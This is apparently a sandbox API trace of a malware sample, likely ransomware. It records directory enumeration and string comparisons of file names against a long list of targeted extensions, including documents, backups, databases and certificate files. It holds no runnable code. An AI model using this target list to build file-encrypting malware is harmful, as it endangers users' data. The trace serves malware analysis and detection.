	[0070.031] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0070.031] lstrlenW (lpString=".icb") returned 4
	[0070.031] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0070.031] lstrlenW (lpString=".ics") returned 4
	[0070.031] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0070.031] lstrlenW (lpString=".iff") returned 4
	[0070.031] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0070.031] lstrlenW (lpString=".inc") returned 4
	[0070.031] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0070.031] lstrlenW (lpString=".indd") returned 5
	[0070.031] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0070.031] lstrlenW (lpString=".ini") returned 4
	[0070.031] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0070.031] lstrlenW (lpString=".iqy") returned 4
	[0070.032] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0070.032] lstrlenW (lpString=".j2c") returned 4
	[0070.032] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0070.032] lstrlenW (lpString=".j2k") returned 4
	[0070.032] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0070.032] lstrlenW (lpString=".java") returned 5
	[0070.032] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0070.032] lstrlenW (lpString=".jp2") returned 4
	[0070.032] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0070.032] lstrlenW (lpString=".jpc") returned 4
	[0070.032] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0070.032] lstrlenW (lpString=".jpe") returned 4
	[0070.032] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0070.032] lstrlenW (lpString=".jpeg") returned 5
	[0070.032] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0070.032] lstrlenW (lpString=".jpf") returned 4
	[0070.032] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0070.032] lstrlenW (lpString=".jpg") returned 4
	[0070.032] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0070.032] lstrlenW (lpString=".jpx") returned 4
	[0070.032] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0070.032] lstrlenW (lpString=".js") returned 3
	[0070.032] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0070.032] lstrlenW (lpString=".jsf") returned 4
	[0070.032] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0070.032] lstrlenW (lpString=".json") returned 5
	[0070.032] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0070.032] lstrlenW (lpString=".jsp") returned 4
	[0070.032] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0070.032] lstrlenW (lpString=".kdc") returned 4
	[0070.032] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0070.032] lstrlenW (lpString=".kmz") returned 4
	[0070.032] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0070.032] lstrlenW (lpString=".kwm") returned 4
	[0070.032] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0070.032] lstrlenW (lpString=".lasso") returned 6
	[0070.033] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0070.033] lstrlenW (lpString=".lbi") returned 4
	[0070.033] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0070.033] lstrlenW (lpString=".lgf") returned 4
	[0070.033] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0070.033] lstrlenW (lpString=".lgp") returned 4
	[0070.033] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0070.033] lstrlenW (lpString=".log") returned 4
	[0070.033] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0070.033] lstrlenW (lpString=".m1v") returned 4
	[0070.033] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0070.033] lstrlenW (lpString=".m4a") returned 4
	[0070.033] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0070.033] lstrlenW (lpString=".m4v") returned 4
	[0070.033] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0070.033] lstrlenW (lpString=".max") returned 4
	[0070.033] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0070.033] lstrlenW (lpString=".md") returned 3
	[0070.033] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0070.033] lstrlenW (lpString=".mda") returned 4
	[0070.033] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0070.033] lstrlenW (lpString=".mdb") returned 4
	[0070.033] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0070.033] lstrlenW (lpString=".mde") returned 4
	[0070.033] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0070.033] lstrlenW (lpString=".mdf") returned 4
	[0070.033] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0070.033] lstrlenW (lpString=".mdw") returned 4
	[0070.033] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0070.033] lstrlenW (lpString=".mef") returned 4
	[0070.033] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0070.033] lstrlenW (lpString=".mft") returned 4
	[0070.033] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0070.033] lstrlenW (lpString=".mfw") returned 4
	[0070.033] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0070.033] lstrlenW (lpString=".mht") returned 4
	[0070.034] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0070.034] lstrlenW (lpString=".mhtml") returned 6
	[0070.034] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0070.034] lstrlenW (lpString=".mka") returned 4
	[0070.034] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0070.034] lstrlenW (lpString=".mkidx") returned 6
	[0070.034] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0070.034] lstrlenW (lpString=".mkv") returned 4
	[0070.034] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0070.034] lstrlenW (lpString=".mos") returned 4
	[0070.034] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0070.034] lstrlenW (lpString=".mov") returned 4
	[0070.034] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0070.034] lstrlenW (lpString=".mp3") returned 4
	[0070.034] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0070.034] lstrlenW (lpString=".mp4") returned 4
	[0070.034] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0070.034] lstrlenW (lpString=".mpeg") returned 5
	[0070.034] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0070.034] lstrlenW (lpString=".mpg") returned 4
	[0070.034] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0070.034] lstrlenW (lpString=".mpv") returned 4
	[0070.034] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0070.034] lstrlenW (lpString=".mrw") returned 4
	[0070.034] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0070.034] lstrlenW (lpString=".msg") returned 4
	[0070.034] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0070.034] lstrlenW (lpString=".mxl") returned 4
	[0070.034] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0070.034] lstrlenW (lpString=".myd") returned 4
	[0070.034] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0070.034] lstrlenW (lpString=".myi") returned 4
	[0070.034] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0070.035] lstrlenW (lpString=".nef") returned 4
	[0070.035] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0070.035] lstrlenW (lpString=".nrw") returned 4
	[0070.035] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0070.035] lstrlenW (lpString=".obj") returned 4
	[0070.035] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0070.035] lstrlenW (lpString=".odb") returned 4
	[0070.035] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0070.035] lstrlenW (lpString=".odc") returned 4
	[0070.035] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0070.035] lstrlenW (lpString=".odm") returned 4
	[0070.035] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0070.035] lstrlenW (lpString=".odp") returned 4
	[0070.035] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0070.035] lstrlenW (lpString=".ods") returned 4
	[0070.035] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0070.035] lstrlenW (lpString=".oft") returned 4
	[0070.035] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0070.035] lstrlenW (lpString=".one") returned 4
	[0070.035] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0070.035] lstrlenW (lpString=".onepkg") returned 7
	[0070.035] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0070.035] lstrlenW (lpString=".onetoc2") returned 8
	[0070.035] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0070.035] lstrlenW (lpString=".opt") returned 4
	[0070.035] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0070.035] lstrlenW (lpString=".oqy") returned 4
	[0070.035] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0070.035] lstrlenW (lpString=".orf") returned 4
	[0070.035] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0070.035] lstrlenW (lpString=".p12") returned 4
	[0070.035] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0070.035] lstrlenW (lpString=".p7b") returned 4
	[0070.035] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0070.035] lstrlenW (lpString=".p7c") returned 4
	[0070.035] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0070.035] lstrlenW (lpString=".pam") returned 4
	[0070.036] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0070.036] lstrlenW (lpString=".pbm") returned 4
	[0070.036] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0070.036] lstrlenW (lpString=".pct") returned 4
	[0070.036] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0070.036] lstrlenW (lpString=".pcx") returned 4
	[0070.036] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0070.036] lstrlenW (lpString=".pdd") returned 4
	[0070.036] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0070.036] lstrlenW (lpString=".pdf") returned 4
	[0070.036] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0070.036] lstrlenW (lpString=".pdp") returned 4
	[0070.036] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0070.036] lstrlenW (lpString=".pef") returned 4
	[0070.036] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0070.036] lstrlenW (lpString=".pem") returned 4
	[0070.036] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0070.036] lstrlenW (lpString=".pff") returned 4
	[0070.036] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0070.036] lstrlenW (lpString=".pfm") returned 4
	[0070.036] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0070.036] lstrlenW (lpString=".pfx") returned 4
	[0070.036] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0070.036] lstrlenW (lpString=".pgm") returned 4
	[0070.036] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0070.036] lstrlenW (lpString=".php") returned 4
	[0070.036] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0070.036] lstrlenW (lpString=".php3") returned 5
	[0070.036] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0070.036] lstrlenW (lpString=".php4") returned 5
	[0070.036] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0070.036] lstrlenW (lpString=".php5") returned 5
	[0070.036] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0070.036] lstrlenW (lpString=".phtml") returned 6
	[0070.036] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0070.036] lstrlenW (lpString=".pict") returned 5
	[0070.037] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0070.037] lstrlenW (lpString=".pl") returned 3
	[0070.037] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0070.037] lstrlenW (lpString=".pls") returned 4
	[0070.037] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0070.037] lstrlenW (lpString=".pm") returned 3
	[0070.037] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0070.037] lstrlenW (lpString=".png") returned 4
	[0070.037] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0070.037] lstrlenW (lpString=".pnm") returned 4
	[0070.037] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0070.037] lstrlenW (lpString=".pot") returned 4
	[0070.037] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0070.037] lstrlenW (lpString=".potm") returned 5
	[0070.037] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0070.037] lstrlenW (lpString=".potx") returned 5
	[0070.037] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0070.037] lstrlenW (lpString=".ppa") returned 4
	[0070.037] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0070.037] lstrlenW (lpString=".ppam") returned 5
	[0070.037] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0070.037] lstrlenW (lpString=".ppm") returned 4
	[0070.037] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0070.037] lstrlenW (lpString=".pps") returned 4
	[0070.037] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0070.037] lstrlenW (lpString=".ppsm") returned 5
	[0070.037] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0070.037] lstrlenW (lpString=".ppt") returned 4
	[0070.037] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0070.037] lstrlenW (lpString=".pptm") returned 5
	[0070.037] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0070.037] lstrlenW (lpString=".pptx") returned 5
	[0070.037] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0070.037] lstrlenW (lpString=".prn") returned 4
	[0070.037] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0070.037] lstrlenW (lpString=".ps") returned 3
	[0070.037] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0070.038] lstrlenW (lpString=".psb") returned 4
	[0070.038] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0070.038] lstrlenW (lpString=".psd") returned 4
	[0070.038] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0070.038] lstrlenW (lpString=".pst") returned 4
	[0070.038] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0070.038] lstrlenW (lpString=".ptx") returned 4
	[0070.038] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0070.038] lstrlenW (lpString=".pub") returned 4
	[0070.038] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0070.038] lstrlenW (lpString=".pwm") returned 4
	[0070.038] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0070.038] lstrlenW (lpString=".pxr") returned 4
	[0070.038] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0070.038] lstrlenW (lpString=".py") returned 3
	[0070.038] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0070.038] lstrlenW (lpString=".qt") returned 3
	[0070.038] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0070.038] lstrlenW (lpString=".r3d") returned 4
	[0070.038] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0070.038] lstrlenW (lpString=".raf") returned 4
	[0070.038] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0070.038] lstrlenW (lpString=".rar") returned 4
	[0070.038] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0070.038] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.039] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.039] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.039] FindClose (in: hFindFile=0x3121590 | out: hFindFile=0x3121590) returned 1
	[0070.039] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0070.039] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1
	[0070.039] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0070.039] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038") returned 26
	[0070.039] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121690
	[0070.039] FindNextFileW (in: hFindFile=0x3121690, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.039] FindNextFileW (in: hFindFile=0x3121690, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.039] lstrlenW (lpString="eula.rtf") returned 8
	[0070.039] lstrlenW (lpString=".1cd") returned 4
	[0070.039] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0070.039] lstrlenW (lpString=".3ds") returned 4
	[0070.040] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0070.040] lstrlenW (lpString=".3fr") returned 4
	[0070.040] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0070.040] lstrlenW (lpString=".3g2") returned 4
	[0070.040] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0070.040] lstrlenW (lpString=".3gp") returned 4
	[0070.040] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0070.040] lstrlenW (lpString=".7z") returned 3
	[0070.040] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0070.040] lstrlenW (lpString=".accda") returned 6
	[0070.040] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0070.040] lstrlenW (lpString=".accdb") returned 6
	[0070.040] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0070.040] lstrlenW (lpString=".accdc") returned 6
	[0070.040] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0070.040] lstrlenW (lpString=".accde") returned 6
	[0070.040] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0070.040] lstrlenW (lpString=".accdt") returned 6
	[0070.040] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0070.040] lstrlenW (lpString=".accdw") returned 6
	[0070.040] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0070.040] lstrlenW (lpString=".adb") returned 4
	[0070.040] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0070.040] lstrlenW (lpString=".adp") returned 4
	[0070.040] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0070.040] lstrlenW (lpString=".ai") returned 3
	[0070.040] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0070.040] lstrlenW (lpString=".ai3") returned 4
	[0070.040] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0070.040] lstrlenW (lpString=".ai4") returned 4
	[0070.040] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0070.040] lstrlenW (lpString=".ai5") returned 4
	[0070.040] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0070.040] lstrlenW (lpString=".ai6") returned 4
	[0070.040] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0070.041] lstrlenW (lpString=".ai7") returned 4
	[0070.041] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0070.041] lstrlenW (lpString=".ai8") returned 4
	[0070.041] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0070.041] lstrlenW (lpString=".anim") returned 5
	[0070.041] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0070.041] lstrlenW (lpString=".arw") returned 4
	[0070.041] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0070.041] lstrlenW (lpString=".as") returned 3
	[0070.041] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0070.041] lstrlenW (lpString=".asa") returned 4
	[0070.041] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0070.041] lstrlenW (lpString=".asc") returned 4
	[0070.041] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0070.041] lstrlenW (lpString=".ascx") returned 5
	[0070.041] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0070.041] lstrlenW (lpString=".asm") returned 4
	[0070.041] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0070.041] lstrlenW (lpString=".asmx") returned 5
	[0070.041] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0070.041] lstrlenW (lpString=".asp") returned 4
	[0070.041] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0070.041] lstrlenW (lpString=".aspx") returned 5
	[0070.041] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0070.041] lstrlenW (lpString=".asr") returned 4
	[0070.041] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0070.041] lstrlenW (lpString=".asx") returned 4
	[0070.041] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0070.041] lstrlenW (lpString=".avi") returned 4
	[0070.041] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0070.041] lstrlenW (lpString=".avs") returned 4
	[0070.041] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0070.041] lstrlenW (lpString=".backup") returned 7
	[0070.041] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0070.041] lstrlenW (lpString=".bak") returned 4
	[0070.041] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0070.041] lstrlenW (lpString=".bay") returned 4
	[0070.042] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0070.042] lstrlenW (lpString=".bd") returned 3
	[0070.042] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0070.042] lstrlenW (lpString=".bin") returned 4
	[0070.042] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0070.042] lstrlenW (lpString=".bmp") returned 4
	[0070.042] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0070.042] lstrlenW (lpString=".bz2") returned 4
	[0070.042] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0070.042] lstrlenW (lpString=".c") returned 2
	[0070.042] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0070.042] lstrlenW (lpString=".cdr") returned 4
	[0070.042] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0070.042] lstrlenW (lpString=".cer") returned 4
	[0070.042] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0070.042] lstrlenW (lpString=".cf") returned 3
	[0070.042] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0070.042] lstrlenW (lpString=".cfc") returned 4
	[0070.042] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0070.042] lstrlenW (lpString=".cfm") returned 4
	[0070.042] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0070.042] lstrlenW (lpString=".cfml") returned 5
	[0070.042] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0070.042] lstrlenW (lpString=".cfu") returned 4
	[0070.042] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0070.042] lstrlenW (lpString=".chm") returned 4
	[0070.042] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0070.042] lstrlenW (lpString=".cin") returned 4
	[0070.042] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0070.042] lstrlenW (lpString=".class") returned 6
	[0070.042] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0070.042] lstrlenW (lpString=".clx") returned 4
	[0070.042] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0070.042] lstrlenW (lpString=".config") returned 7
	[0070.042] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0070.042] lstrlenW (lpString=".cpp") returned 4
	[0070.043] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0070.043] lstrlenW (lpString=".cr2") returned 4
	[0070.043] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
